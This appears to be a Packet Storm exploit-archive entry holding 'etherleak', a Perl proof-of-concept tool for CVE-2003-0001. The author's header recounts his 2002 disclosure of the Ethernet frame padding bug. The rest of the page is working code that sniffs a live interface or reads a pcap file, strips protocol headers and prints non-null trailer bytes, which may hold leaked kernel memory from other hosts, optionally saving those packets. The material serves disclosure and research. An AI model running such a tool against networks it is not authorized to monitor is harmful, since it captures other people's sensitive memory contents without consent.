Lucene search

K
packetstormJon HartPACKETSTORM:55335
HistoryMar 24, 2007 - 12:00 a.m.

etherleak.txt

2007-03-2400:00:00
Jon Hart
packetstormsecurity.com
90

0.023 Low

EPSS

Percentile

88.6%

`#!/usr/bin/perl -w  
# etherleak, code that has been 5 years coming.  
#  
# On 04/27/2002, I disclosed on the Linux Kernel Mailing list,  
# a vulnerability that would be come known as the 'etherleak' bug. In  
# various situations an ethernet frame must be padded to reach a specific  
# size or fall on a certain boundary. This task is left up to the driver  
# for the ethernet device. The RFCs state that this padding must consist  
# of NULLs. The bug is that at the time and still to this day, many device  
# drivers do not pad will NULLs, but rather pad with unsanitized portions  
# of kernel memory, oftentimes exposing sensitive information to remote  
# systems or those savvy enough to coerce their targets to do so.  
#  
# Proof of this can be found by googling for 'warchild and etherleak', or  
# by visiting:  
#  
# http://lkml.org/lkml/2002/4/27/101  
#  
# This was ultimately fixed in the Linux kernel, but over time this  
# vulnerability reared its head numerous times, but at the core the  
# vulnerability was the same as the one I originally published. The most  
# public of these was CVE-2003-0001, which was assigned to address an  
# official @stake advisory.  
#  
# This code can be found its most current form at:  
#   
# http://spoofed.org/files/exploits/etherleak  
#  
# Jon Hart <[email protected]>, March 2007  
#  
  
use strict;  
use diagnostics;  
use warnings;  
use Getopt::Long;  
use Net::Pcap;  
use NetPacket::Ethernet qw(:ALL);  
use NetPacket::IP qw(:ALL);  
  
my %opts = ();  
my ($iface, $err, $pcap_t, $pcap_save, $filter_string);   
  
GetOptions( \%opts, 'help', 'filter=s', 'interface=s', 'quiet', 'read=s', 'write=s', 'verbose') or  
die "Unknown option: $!\n" && &usage();  
  
if (defined($opts{'help'})) {  
&usage();  
exit(0);  
}  
  
if (defined($opts{'read'})) {  
$pcap_t = Net::Pcap::open_offline($opts{'read'}, \$err);  
if (!defined($pcap_t)) {  
print("Net::Pcap::open_offline failed: $err\n");  
exit 1;  
}  
} else {  
if (defined($opts{'interface'})) {  
$iface = $opts{'interface'};  
} else {  
$iface = Net::Pcap::lookupdev(\$err);  
if (defined($err)) {  
print(STDERR "lookupdev() failed: $err\n");  
exit(1);  
} else {  
print(STDERR "No interface specified. Using $iface\n");  
}  
}  
  
$pcap_t = Net::Pcap::open_live($iface, 65535, 1, 0, \$err);  
if (!defined($pcap_t)) {  
print("Net::Pcap::open_live failed on $iface: $err\n");  
exit 1;  
}  
}  
  
my $filter;  
if (Net::Pcap::compile($pcap_t, \$filter, defined($opts{'filter'}) ? $opts{'filter'} : "", 0, 0) == -1) {  
printf("Net::Pcap::compile failed: %s\n", Net::Pcap::geterr($pcap_t));  
exit(1);  
}  
  
if (Net::Pcap::setfilter($pcap_t, $filter) == -1) {  
printf("Net::Pcap::setfilter failed: %s\n", Net::Pcap::geterr($pcap_t));  
exit(1);  
}  
  
if (defined($opts{'write'})) {  
$pcap_save = Net::Pcap::dump_open($pcap_t, $opts{'write'});  
if (!defined($pcap_save)) {  
printf("Net::Pcap::dump_open failed: %s\n", Net::Pcap::geterr($pcap_t));  
exit(1);  
}  
}  
  
Net::Pcap::loop($pcap_t, -1, \&process, "foo");  
Net::Pcap::close($pcap_t);  
  
if (defined($opts{'write'})) {  
Net::Pcap::dump_close($pcap_save);  
}  
  
  
  
sub process {  
my ($user, $hdr, $pkt) = @_;  
my ($link, $ip);  
my $jump = 0;  
  
my $datalink = Net::Pcap::datalink($pcap_t);  
if ($datalink == 1) { $jump += 14; }  
elsif ($datalink == 113) { $jump += 16; }  
else { printf("Skipping datalink $datalink\n"); return; }  
  
my $l2 = NetPacket::Ethernet->decode($pkt);  
  
if ($l2->{type} == ETH_TYPE_IP) {  
$ip = NetPacket::IP->decode(eth_strip($pkt));  
$jump += $ip->{len};  
} elsif ($l2->{type} == ETH_TYPE_ARP) { $jump += 28; }  
else {   
# assume 802.3 ethernet, and just jump ahead the length  
for ($l2->{dest_mac}) {  
if (/^0180c200/) {  
# spanning tree  
# l2->{type} here will actually be the length. HACK.  
$jump += $l2->{type};  
}  
elsif (/^01000ccccc/) {  
# CDP/VTP/DTP/PAgP/UDLD/PVST, etc  
# l2->{type} here will actually be the length. HACK.  
$jump += $l2->{type};  
} elsif (/^ab0000020000/) {  
# DEC-MOP-Remote-Console  
return;  
} else {  
# loopback  
if ($l2->{src_mac} eq $l2->{dest_mac}) { return; }  
printf("Skipping datalink $datalink l2 type %s\n", $l2->{type}); return;  
}  
}  
}  
  
  
if ($hdr->{len} > $jump) {  
my $trailer_bin = substr($pkt, $jump);  
my $trailer_hex = "";  
my $trailer_ascii = "";  
foreach (split(//, $trailer_bin)) {  
$trailer_hex .= sprintf("%02x", ord($_));  
if (ord($_) >= 32 && ord($_) <= 126) {  
$trailer_ascii .= $_;  
} else { $trailer_ascii .= "."; }  
}  
# ignore all trailers that are just single characters repeated.  
# most OS' use 0, F, 5 or a.  
unless ($trailer_hex =~ /^(0|5|f|a)\1*$/i) {  
unless ($opts{'quiet'}) {  
print("#"x80, "\n");  
printf("%s -> %s\n", $l2->{src_mac}, $l2->{dest_mac});  
if ($l2->{type} == ETH_TYPE_IP) {  
printf("%s -> %s\n", $ip->{src_ip}, $ip->{dest_ip});  
}  
}  
print("$trailer_hex\t$trailer_ascii\n");  
if (defined($opts{'write'})) {  
Net::Pcap::dump($pcap_save, $hdr, $pkt);  
}  
}  
}  
}  
  
sub usage {  
print <<EOF;  
$0 -- A demonstration of the infamous 'etherleak' bug.  
  
CVE-2003-0001, and countless repeats of the same vulnerability.  
  
Options:  
[-h|--help] # this message  
[-i|--interface] <interface> # interface to listen on  
[-f|--filter] <pcap filter> # apply this filter to the traffic  
[-r|--read] <path to pcap> # read from this saved pcap file  
[-w|--write] <path to pcap> # write tothis saved pcap file  
[-q|--quiet] # be quiet  
[-v|--verbose] # be verbose  
  
EOF  
  
  
}  
  
`